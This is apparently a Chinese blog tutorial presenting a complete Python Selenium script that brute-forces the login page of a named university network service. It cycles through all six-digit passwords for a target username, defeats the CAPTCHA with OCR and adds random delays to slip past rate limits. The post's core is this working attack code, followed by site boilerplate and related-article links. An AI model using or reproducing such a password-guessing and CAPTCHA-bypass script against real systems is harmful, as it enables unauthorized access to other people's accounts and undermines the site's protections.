python selenium循环登陆网站的实现


Posted in Python onNovember 04, 2019

selenium 登陆网站

记录一次登陆无线网的过程

1.首先看一下要登陆的界面

python selenium循环登陆网站的实现

按一下F12看一下网页的源代码

python selenium循环登陆网站的实现

想要登陆的话,这里需要识别验证码…有点麻烦

我们看看向网站post的信息

python selenium循环登陆网站的实现

可以看到向服务器post 4个信息,一个是_csrf 验证 还有一个是验证码

csrf 验证码藏在了源码里面

python selenium循环登陆网站的实现

只需要向服务器post就行了

。。。

2.看一下selenium登陆呢?

self.browser.find_element_by_id("loginform-username").clear()
    self.browser.find_element_by_id("loginform-username").send_keys(self.username) #用户名
    self.browser.find_element_by_id("loginform-password").clear()
    self.browser.find_element_by_id("loginform-password").send_keys(password) #密码
    self.browser.find_element_by_id("loginform-verifycode").clear()
    self.browser.find_element_by_id("loginform-verifycode").send_keys(code)
    self.browser.find_element_by_name("login-button").click()
    time.sleep(0.5)

识别验证码

code='1'
    while len(code)!=4 or code.isalpha() !=True:
      self.browser.find_element_by_id("loginform-verifycode-image").click() #改变验证码
      self.browser.save_screenshot('img.png') #对页面进行截图
      im = Image.open('img.png')
      img = im.crop((1200,400,1350, 520)) #截取验证码 根据实际情况变动
      img = ImageEnhance.Contrast(img)  #加强比对
      img = img.enhance(2.0)
      img.save('picture2.png')
      code = pytesseract.image_to_string(img) #识别
    return code

最后看一下总的代码

import time
import random
import re
from selenium import webdriver
from PIL import Image,ImageEnhance
import pytesseract


class HZAU_net():
  def __init__(self,username):
    self.username=username
    self.url='http://zizhu.hzau.edu.cn'

  def run(self): #密码循环
    self.browser = webdriver.Firefox() #打开浏览器
    self.browser.maximize_window()   #窗口最大化
    self.browser.get(self.url)     #访问网站
    sleep_time_list=[1,2,3,4]
    out=open('HZAU_net.txt','a+')
    for x in range(999999):
      password="%06d"%(x) #生成密码
      flag=self.test_password(password) #判断密码正误 错误返回0 正确返回1
      time.sleep(random.choice(sleep_time_list)) #随机休息1-4秒 不能请求太快
      if flag=='1': #密码正确跳出循环
        out.write('用户名:%s 测试密码:%s 正确\n'%(self.username,password))
        out.write('\n-------------------------分割线-------------------------\n')
        break
      else:
        out.write('用户名:%s 测试密码:%s 错误\n'%(self.username,password))
    out.close()

  def test_password(self,password):#检验密码正确性
    code=self.get_code()
    self.login(password,code)
    login_flag=self.browser.title
    if login_flag=='首页':
      return 1
    else:
      flag=self.judge_error(password)
      return flag
    self.browser.quit()

  def login(self,password,code):#登陆
    self.browser.find_element_by_id("loginform-username").clear()
    self.browser.find_element_by_id("loginform-username").send_keys(self.username) #用户名
    self.browser.find_element_by_id("loginform-password").clear()
    self.browser.find_element_by_id("loginform-password").send_keys(password) #密码
    self.browser.find_element_by_id("loginform-verifycode").clear()
    self.browser.find_element_by_id("loginform-verifycode").send_keys(code)
    self.browser.find_element_by_name("login-button").click()
    time.sleep(0.5)

  def judge_error(self,password): #判断错误类型
    flag=''
    while flag !=None:
      code=self.get_code()
      self.login(password,code)
      judge_flag=self.browser.find_element_by_css_selector("#login-form > div:nth-child(5) > div >ul").get_attribute('textContent') #错误信息
      flag=re.search('验证码',judge_flag)
    return 0

  def get_code(self):  #识别验证码
    code='1'
    while len(code)!=4 or code.isalpha() !=True:
      self.browser.find_element_by_id("loginform-verifycode-image").click() #改变验证码
      self.browser.save_screenshot('img.png') #对页面进行截图
      im = Image.open('img.png')
      img = im.crop((1200,400,1350, 520)) #截取验证码
      img = ImageEnhance.Contrast(img)  #加强比对
      img = img.enhance(2.0)
      img.save('picture2.png')
      code = pytesseract.image_to_string(img) #识别
    return code


if __name__ == '__main__':
  HZAU_net('123456').run()

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持三水点靠木。

Python 相关文章推荐
python里大整数相乘相关技巧指南
Sep 12 Python
Python求算数平方根和约数的方法汇总
Mar 09 Python
Python构造自定义方法来美化字典结构输出的示例
Jun 16 Python
python利用正则表达式提取字符串
Dec 08 Python
python基于物品协同过滤算法实现代码
May 31 Python
Python GUI Tkinter简单实现个性签名设计
Jun 19 Python
tensorflow实现对张量数据的切片操作方式
Jan 19 Python
python列表删除和多重循环退出原理详解
Mar 26 Python
python实现在内存中读写str和二进制数据代码
Apr 24 Python
python实现局部图像放大
Nov 17 Python
python套接字socket通信
Apr 01 Python
Elasticsearch 批量操作
Apr 19 Python
Django项目中使用JWT的实现代码
Nov 04 #Python
Python collections中的双向队列deque简单介绍详解
Nov 04 #Python
Python 下载及安装详细步骤
Nov 04 #Python
Django框架表单操作实例分析
Nov 04 #Python
ubuntu 18.04 安装opencv3.4.5的教程(图解)
Nov 04 #Python
Django框架模板用法入门教程
Nov 04 #Python
python matplotlib折线图样式实现过程
Nov 04 #Python
You might like
php分页代码学习示例分享
2014/02/20 PHP
PHP访问Google Search API的方法
2015/03/05 PHP
Smarty foreach控制循环次数的一些方法
2015/07/01 PHP
PHP计算近1年的所有月份
2017/03/13 PHP
jquery 图片预加载 自动等比例缩放插件
2008/12/25 Javascript
JS 拼图游戏 面向对象,注释完整。
2009/06/18 Javascript
js apply/call/caller/callee/bind使用方法与区别分析
2009/10/28 Javascript
style、 currentStyle、 runtimeStyle区别分析
2010/08/01 Javascript
JavaScript伸缩的菜单简单示例
2013/12/03 Javascript
jQuery实现输入框下拉列表树插件特效代码分享
2015/08/27 Javascript
javascript每日必学之继承
2016/02/23 Javascript
jQuery轻松实现表格的隔行变色和点击行变色的实例代码
2016/05/09 Javascript
Node.js环境下编写爬虫爬取维基百科内容的实例分享
2016/06/12 Javascript
Bootstrap编写一个在当前网页弹出可关闭的对话框 非弹窗
2016/06/30 Javascript
jQuery实现订单提交页发送短信功能前端处理方法
2016/07/04 Javascript
vue分页组件table-pagebar使用实例解析
2020/11/15 Javascript
基于JS实现发送短信验证码后的倒计时功能(无视页面刷新,页面关闭不进行倒计时功能)
2016/09/02 Javascript
Angular 2 ngForm中的ngModel、[ngModel]和[(ngModel)]的写法
2017/06/29 Javascript
详解vue2 $watch要注意的问题
2017/09/08 Javascript
Node 自动化部署的方法
2017/10/17 Javascript
Vuejs监听vuex中值的变化的方法示例
2018/12/02 Javascript
jQuery利用FormData上传文件实现批量上传
2018/12/04 jQuery
angular 实现下拉列表组件的示例代码
2019/03/09 Javascript
Python本地与全局命名空间用法实例
2015/06/16 Python
python实战之实现excel读取、统计、写入的示例讲解
2018/05/02 Python
解决python web项目意外关闭,但占用端口的问题
2019/12/17 Python
Python3 io文本及原始流I/O工具用法详解
2020/03/23 Python
Python map及filter函数使用方法解析
2020/08/06 Python
HTML5的语法变化介绍
2013/08/13 HTML / CSS
英国在线房屋中介网站:Yopa
2018/01/09 全球购物
网络编辑岗位职责
2014/03/18 职场文书
房屋租赁协议书范本
2014/04/10 职场文书
乡镇综治宣传月活动总结
2014/07/02 职场文书
《中国梦我的梦》小学生演讲稿
2014/08/20 职场文书
小学假期安全广播稿
2014/09/28 职场文书
Spring IOC容器Bean的作用域及生命周期实例
2022/05/30 Java/Android